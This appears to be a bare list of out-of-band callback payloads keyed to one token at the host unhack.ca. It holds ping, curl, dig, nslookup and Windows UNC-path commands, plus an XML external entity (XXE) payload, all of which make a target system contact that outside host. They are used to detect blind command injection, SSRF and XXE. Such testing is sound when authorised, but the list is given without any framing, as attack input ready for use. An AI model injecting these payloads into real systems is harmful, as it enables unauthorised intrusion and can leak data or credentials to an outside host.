$ ping -c1 -p 002bde06328855608b3fc25cd580e500 unhack.ca
 

$ curl http://unhack.ca/p/2bde06328855608b3fc25cd580e5
 

$ dig 2bde06328855608b3fc25cd580e5 @unhack.ca
 

$ dig 2bde06328855608b3fc25cd580e5.ns.unhack.ca
 

C:\> nslookup 2bde06328855608b3fc25cd580e5 unhack.ca
 

C:\> type \\unhack.ca\2bde06328855608b3fc25cd580e5\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2bde06328855608b3fc25cd580e5">]>
    <foo>&xxe;</foo>